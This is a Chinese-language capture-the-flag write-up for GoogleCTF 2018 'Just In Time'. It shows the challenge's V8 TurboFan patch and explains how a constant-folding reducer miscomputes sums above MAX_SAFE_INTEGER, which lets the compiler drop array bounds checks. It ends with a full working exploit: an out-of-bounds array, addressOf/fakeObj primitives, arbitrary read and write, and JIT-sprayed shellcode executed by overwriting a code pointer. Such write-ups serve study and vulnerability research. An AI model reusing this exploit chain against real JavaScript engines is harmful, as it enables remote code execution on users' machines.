21 KiB
21 KiB
GoogleCTF2018_JustInTime
题目分析
题目给出一段patch代码：
diff --git a/BUILD.gn b/BUILD.gn
index c6a58776cd..14c56d2910 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -1699,6 +1699,8 @@ v8_source_set("v8_base") {
"src/compiler/dead-code-elimination.cc",
"src/compiler/dead-code-elimination.h",
"src/compiler/diamond.h",
+ "src/compiler/duplicate-addition-reducer.cc",
+ "src/compiler/duplicate-addition-reducer.h",
"src/compiler/effect-control-linearizer.cc",
"src/compiler/effect-control-linearizer.h",
"src/compiler/escape-analysis-reducer.cc",
diff --git a/src/compiler/duplicate-addition-reducer.cc b/src/compiler/duplicate-addition-reducer.cc
new file mode 100644
index 0000000000..59e8437f3d
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.cc
@@ -0,0 +1,71 @@
+// Copyright 2018 Google LLC
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+#include "src/compiler/duplicate-addition-reducer.h"
+
+#include "src/compiler/common-operator.h"
+#include "src/compiler/graph.h"
+#include "src/compiler/node-properties.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+DuplicateAdditionReducer::DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common)
+ : AdvancedReducer(editor),
+ graph_(graph), common_(common) {}
+
+Reduction DuplicateAdditionReducer::Reduce(Node* node) {
+ switch (node->opcode()) {
+ case IrOpcode::kNumberAdd:
+ return ReduceAddition(node);
+ default:
+ return NoChange();
+ }
+}
+
+Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
+ DCHECK_EQ(node->op()->ControlInputCount(), 0);
+ DCHECK_EQ(node->op()->EffectInputCount(), 0);
+ DCHECK_EQ(node->op()->ValueInputCount(), 2);
+
+ Node* left = NodeProperties::GetValueInput(node, 0);
+ if (left->opcode() != node->opcode()) {
+ return NoChange();
+ }
+
+ Node* right = NodeProperties::GetValueInput(node, 1);
+ if (right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ Node* parent_left = NodeProperties::GetValueInput(left, 0);
+ Node* parent_right = NodeProperties::GetValueInput(left, 1);
+ if (parent_right->opcode() != IrOpcode::kNumberConstant) {
+ return NoChange();
+ }
+
+ double const1 = OpParameter<double>(right->op());
+ double const2 = OpParameter<double>(parent_right->op());
+ Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
+
+ NodeProperties::ReplaceValueInput(node, parent_left, 0);
+ NodeProperties::ReplaceValueInput(node, new_const, 1);
+
+ return Changed(node);
+}
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
diff --git a/src/compiler/duplicate-addition-reducer.h b/src/compiler/duplicate-addition-reducer.h
new file mode 100644
index 0000000000..7285f1ae3e
--- /dev/null
+++ b/src/compiler/duplicate-addition-reducer.h
@@ -0,0 +1,60 @@
+/*
+ * Copyright 2018 Google LLC
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+#define V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
+
+#include "src/base/compiler-specific.h"
+#include "src/compiler/graph-reducer.h"
+#include "src/globals.h"
+#include "src/machine-type.h"
+
+namespace v8 {
+namespace internal {
+namespace compiler {
+
+// Forward declarations.
+class CommonOperatorBuilder;
+class Graph;
+
+class V8_EXPORT_PRIVATE DuplicateAdditionReducer final
+ : public NON_EXPORTED_BASE(AdvancedReducer) {
+ public:
+ DuplicateAdditionReducer(Editor* editor, Graph* graph,
+ CommonOperatorBuilder* common);
+ ~DuplicateAdditionReducer() final {}
+
+ const char* reducer_name() const override { return "DuplicateAdditionReducer"; }
+
+ Reduction Reduce(Node* node) final;
+
+ private:
+ Reduction ReduceAddition(Node* node);
+
+ Graph* graph() const { return graph_;}
+ CommonOperatorBuilder* common() const { return common_; };
+
+ Graph* const graph_;
+ CommonOperatorBuilder* const common_;
+
+ DISALLOW_COPY_AND_ASSIGN(DuplicateAdditionReducer);
+};
+
+} // namespace compiler
+} // namespace internal
+} // namespace v8
+
+#endif // V8_COMPILER_DUPLICATE_ADDITION_REDUCER_H_
diff --git a/src/compiler/pipeline.cc b/src/compiler/pipeline.cc
index 5717c70348..8cca161ad5 100644
--- a/src/compiler/pipeline.cc
+++ b/src/compiler/pipeline.cc
@@ -27,6 +27,7 @@
#include "src/compiler/constant-folding-reducer.h"
#include "src/compiler/control-flow-optimizer.h"
#include "src/compiler/dead-code-elimination.h"
+#include "src/compiler/duplicate-addition-reducer.h"
#include "src/compiler/effect-control-linearizer.h"
#include "src/compiler/escape-analysis-reducer.h"
#include "src/compiler/escape-analysis.h"
@@ -1301,6 +1302,8 @@ struct TypedLoweringPhase {
data->jsgraph()->Dead());
DeadCodeElimination dead_code_elimination(&graph_reducer, data->graph(),
data->common(), temp_zone);
+ DuplicateAdditionReducer duplicate_addition_reducer(&graph_reducer, data->graph(),
+ data->common());
JSCreateLowering create_lowering(&graph_reducer, data->dependencies(),
data->jsgraph(), data->js_heap_broker(),
data->native_context(), temp_zone);
@@ -1318,6 +1321,7 @@ struct TypedLoweringPhase {
data->js_heap_broker(), data->common(),
data->machine(), temp_zone);
AddReducer(data, &graph_reducer, &dead_code_elimination);
+ AddReducer(data, &graph_reducer, &duplicate_addition_reducer);
AddReducer(data, &graph_reducer, &create_lowering);
AddReducer(data, &graph_reducer, &constant_folding_reducer);
AddReducer(data, &graph_reducer, &typed_optimization);
patch代码在TypedLoweringPhase阶段添加了一个名为duplicate_addition_reducer的Reducer，约简的具体过程如下：
Reduction DuplicateAdditionReducer::ReduceAddition(Node* node) {
DCHECK_EQ(node->op()->ControlInputCount(), 0);
DCHECK_EQ(node->op()->EffectInputCount(), 0);
DCHECK_EQ(node->op()->ValueInputCount(), 2);
Node* left = NodeProperties::GetValueInput(node, 0);
if (left->opcode() != node->opcode()) {
return NoChange(); // [1]
}
Node* right = NodeProperties::GetValueInput(node, 1);
if (right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [2]
}
Node* parent_left = NodeProperties::GetValueInput(left, 0);
Node* parent_right = NodeProperties::GetValueInput(left, 1);
if (parent_right->opcode() != IrOpcode::kNumberConstant) {
return NoChange(); // [3]
}
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
NodeProperties::ReplaceValueInput(node, parent_left, 0);
NodeProperties::ReplaceValueInput(node, new_const, 1);
return Changed(node); // [4]
}
这个约化器通过处理包含两个ValueEdge，不包含ControlEdge和EffectEdge的情况，并且第一个ValueEffet的操作码与结点操作码相同，第二个ValueEffet的操作码是NumberConstant，同时第一个ValueEffet有两条父ValueEffect，其中第二个父ValueEffet对应的类型是NumberConstant。如果满足该条件，则会生成一个新的NumberConstant结点，表示parent_right + right的值，并将第一个ValueEffet替换为parent_left，第二个替换为parent_right + right，实际操作如下图所示：
优化后的结点：
触发优化
构造二元值依赖
利用该代码实验：
function opt_me(x) {
return x + 1;
}
opt_me(2);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(3);
对于一个加法x+1而言，生成的结点是SpeculativeSafeIntegerAdd，始终是一个四元的，且不会被优化，因为值的类型都是Int32或Double可以表示的值，对应的级别已经很低，操作很简单。
而对于而言SpeculativeNumberAdd，虽然同样是四元，但是可以被优化为NumberAdd：
Reduction TypedOptimization::ReduceSpeculativeNumberAdd(Node* node) {
Node* const lhs = NodeProperties::GetValueInput(node, 0);
Node* const rhs = NodeProperties::GetValueInput(node, 1);
Type const lhs_type = NodeProperties::GetType(lhs);
Type const rhs_type = NodeProperties::GetType(rhs);
NumberOperationHint hint = NumberOperationHintOf(node->op());
if ((hint == NumberOperationHint::kNumber ||
hint == NumberOperationHint::kNumberOrOddball) &&
BothAre(lhs_type, rhs_type, Type::PlainPrimitive()) &&
NeitherCanBe(lhs_type, rhs_type, Type::StringOrReceiver())) {
// SpeculativeNumberAdd(x:-string, y:-string) =>
// NumberAdd(ToNumber(x), ToNumber(y))
Node* const toNum_lhs = ConvertPlainPrimitiveToNumber(lhs);
Node* const toNum_rhs = ConvertPlainPrimitiveToNumber(rhs);
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
}
return NoChange();
}
尝试以下测试代码：
function opt_me(x) {
return x + Number.MAX_SAFE_INTEGER;
}
opt_me(2);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(3);
此时对应的结点不再是SpeculativeSafeIntegerAdd而是SpeculativeNumberAdd：
分析源码知道当满足hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball的条件与BothAre(lhs_type, rhs_type, Type::PlainPrimitive())的条件，则会将SpeculativeNumberAdd替换为NumberAdd，而NumberAdd的边数正好是2：
Node* const value =
graph()->NewNode(simplified()->NumberAdd(), toNum_lhs, toNum_rhs);
ReplaceWithValue(node, value);
return Replace(value);
template <class... Args>
Node* NewNode(const Operator* op, Node* n0, Args... nodes) {
Node* buffer[] = {n0, nodes...};
return MakeNode(op, arraysize(buffer), buffer);
}
对于hint == NumberOperationHint::kNumber || hint == NumberOperationHint::kNumberOrOddball，保证输入输出的类型即可：
enum class NumberOperationHint : uint8_t {
kSignedSmall, // Inputs were Smi, output was in Smi.
kSignedSmallInputs, // Inputs were Smi, output was Number.
kNumber, // Inputs were Number, output was Number.
kNumberOrBoolean, // Inputs were Number or Boolean, output was Number.
kNumberOrOddball, // Inputs were Number or Oddball, output was Number.
};
对于othAre(lhs_type, rhs_type, Type::PlainPrimitive())，只需要保证二者都是64位能够表示的整数范围，就能够满足该条件。因此编写以下代码：
function opt_me(x) {
let y = 100 + x;
return y + Number.MAX_SAFE_INTEGER;
}
opt_me(2);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(3);
在TyperPhase阶段，两个依赖值都是Range类型，且范围在PlainNumber内：
在TypedLowingPhase即被优化为NumberAdd：
构造Case4
构造Case4需要构造连续的NumberAdd，对于未patch的版本，let y = x + Number.MAX_SAFE_INTEGER + 1 + 1在TypeLowingPhase时会存在两个NumberAdd结点：
而由于DuplicateAdditionReducer的存在，上述代码会合并成x+2：
因此可以给出触发优化的代码：
function opt_me(x) {
let y = x + Number.MAX_SAFE_INTEGER + 1 + 1;
return y;
}
opt_me(2);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(3);
漏洞分析
SafeInteger误判
漏洞的成因是V8使用IEEE-754规范表示浮点数，此规范用低52位表示尾数，用次高11位表示阶码，用最高位表示符号位。
V8中复用此结构来表示整数，在此范围内的整数称作SafeInteger。漏洞成因是DuplicateAdditionReducer在合并结点时将两个常量值按照double类型直接相加：
double const1 = OpParameter<double>(right->op());
double const2 = OpParameter<double>(parent_right->op());
Node* new_const = graph()->NewNode(common()->NumberConstant(const1+const2));
然而在V8中使用IEEE-754规范并不能精确表示SafeInteger范围外的整数，因此会出现一些反常的行为：
V8 version 7.0.276.3
d8> x = Number.MAX_SAFE_INTEGER
9007199254740991
d8> x + 1
9007199254740992
d8> x + 2
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 1 + 1 + 1 + 1
9007199254740992
d8> 9007199254740993 == 9007199254740992
true
这是因为浮点数值的计算公式是：
value = (-1)^{sign} × 2^{e} × fraction \\
e = 2^{exponent - bias} \\
bias = 1024 \\
fraction = bit_{51}×2^0 + bit_{50}×2^{-1} + ... + bit_0×2^{-51}
9007199254740991对应的如下：
9007199254740992对应的如下：
9007199254740993对应的如下：
也就是说9007199254740992和9007199254740993在内存中的表示是一样的，套用上述公式，我们知道：
value = 2^{434H-1024}×fraction=2^{52}×fraction
即：
value = bit_{51}×2^{52} + bit_{50}×2^{50} + ... + bit_0×2^{1}
因此，在尾数+1时，表示的整数值最少加2，因此无法表示9007199254740993。这就会导致：
d8> x = Number.MAX_SAFE_INTEGER + 1
9007199254740992
d8> x + 1 + 1
9007199254740992
d8> x + 2
9007199254740994
也就是：
消除CheckBounds
利用这一点，我们可以让TurboFan错误地消除用于判断数组越界的CheckBounds结点。
我们先看一简单的例子，分析TurboFan怎样对其进行优化：
function opt_me(x) {
x &= 3;
let arr = [1.1, 1.2, 1.3, 2.2];
return arr[x];
}
opt_me(2);
%OptimizeFunctionOnNextCall(opt_me);
opt_me(100);
在EscapeAnalysis及之前的阶段，都存在CheckBounds结点，用于判断数组的索引是否越界：
而在SimplifiedLowing阶段，因为x &= 3范围在[0, 3]因此会消除CheckBounds结点：
利用这一点，我们可以利用9007199254740992 + 1 + 1 != 9007199254740992 + 2的特点构造POC：
function opt_me(x) {
let arr = [.1, .2];
let y = (x == 1 ? 9007199254740992: 9007199254740989) + 1 + 1;
y -= 9007199254740991;
return arr[y];
}
console.log(opt_me(1));
%OptimizeFunctionOnNextCall(opt_me);
console.log(opt_me(1));
输出结果：
Concurrent recompilation has been disabled for tracing.
0.2
---------------------------------------------------
Begin compiling method opt_me using Turbofan
---------------------------------------------------
Finished compiling method opt_me using Turbofan
0
漏洞利用
有了上述POC，我们就可以借此获得oob，修改FixedArray.length：
function opt_me(x) { // target is write arr[5];
let arr = [.1, .2];
let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
// turbo range(9007199254740991, 9007199254740992)
// real range(9007199254740991, 9007199254740996)
y -= 9007199254740991;
// turbo range(0, 1);
// real range(0, 5);
arr[y] = 1;
return arr;
}
这样即可修改得到越界读写的oob_array：
pwndbg> job 0x1c91884ac321
0x1c91884ac321: [JSArray]
- map: 0x217056a02931 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x39582ee86919 <JSArray[0]>
- elements: 0x1c91884ac301 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 1072693248
- properties: 0x015d29f82d29 <FixedArray[0]> {
#length: 0x303c03318351 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x1c91884ac301 <FixedDoubleArray[2]> {
0: 0.1
1: 0.2
}
这里有一点需要注意，虽然arr的元素是FixedDoubleArray，但是如果写入arr[y] = u2d(1n)，会导致CheckBounds结点在优化过程中未被消除：
从而导致arr[5]无法越界修改到length，而是发生去优化：
d8> arr
[0.1, 0.2]
d8> arr[5] = 1
1
d8> arr
[0.1, 0.2, , , , 1]
后续利用方法同V8 堆Sandbox中的立即数写shellcode。
EXP：
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
function shellcode() {
return [
1.930800574428816e-246,
1.9710610293119303e-246,
1.9580046981136086e-246,
1.9533830734556562e-246,
1.961642575273437e-246,
1.9399842868403466e-246,
1.9627709291878714e-246,
1.9711826272864685e-246,
1.9954775598492772e-246,
2.000505685241573e-246,
1.9535148279508375e-246,
1.9895153917617124e-246,
1.9539853963090317e-246,
1.9479373016495106e-246,
1.97118242283721e-246,
1.95323825426926e-246,
1.99113905582155e-246,
1.9940808572858186e-246,
1.9537941682504095e-246,
1.930800151635891e-246,
1.932214185322047e-246
];
}
for (let i = 0; i < 0x40000; i++) {
shellcode();
}
function opt_me(x) { // target is write arr[5];
let arr = [.1, .2];
let y = (x == 1 ? 9007199254740992 : 9007199254740988) + 1 + 1 + 1;
// turbo range(9007199254740991, 9007199254740992)
// real range(9007199254740991, 9007199254740996)
y -= 9007199254740991;
// turbo range(0, 1);
// real range(0, 5);
arr[y] = 1;
return arr;
}
for(let i = 0; i < 0x40000; i++) {
opt_me(0);
}
let oob_array = opt_me(1);
var object_array = [{}];
var double_array = [.1];
var rw_array = [.1];
var double_array_map = d2u(oob_array[23]);
var object_array_map = d2u(oob_array[16]);
print("[*] double_array_map -> " + hex(double_array_map));
print("[*] object_array_map -> " + hex(object_array_map));
function addressOf(obj) {
oob_array[23] = u2d(object_array_map);
double_array[0] = obj;
oob_array[23] = u2d(double_array_map);
return d2u(double_array[0]);
}
function fakeObj(addr) {
oob_array[16] = u2d(double_array_map);
object_array[0] = u2d(addr);
oob_array[16] = u2d(object_array_map);
return object_array[0];
}
%DebugPrint(oob_array);
%DebugPrint(rw_array);
function arb_read(addr) {
oob_array[32] = u2d((addr - 0x10n) | 1n);
return d2u(rw_array[0]);
}
function arb_write(addr, value) {
oob_array[32] = u2d((addr - 0x10n) | 1n);
rw_array[0] = u2d(value);
}
%DebugPrint(shellcode);
shellcode_addr = addressOf(shellcode);
var code_addr = arb_read(shellcode_addr - 1n + 0x30n);
// var entry_point_addr = arb_read(code_addr - 1n + 8n);
print("[*] shellcode addr -> " + hex(shellcode_addr));
print("[*] code_addr -> " + hex(code_addr));
arb_write(shellcode_addr - 1n + 0x30n, code_addr + 0x6en);
shellcode();
%SystemBreak();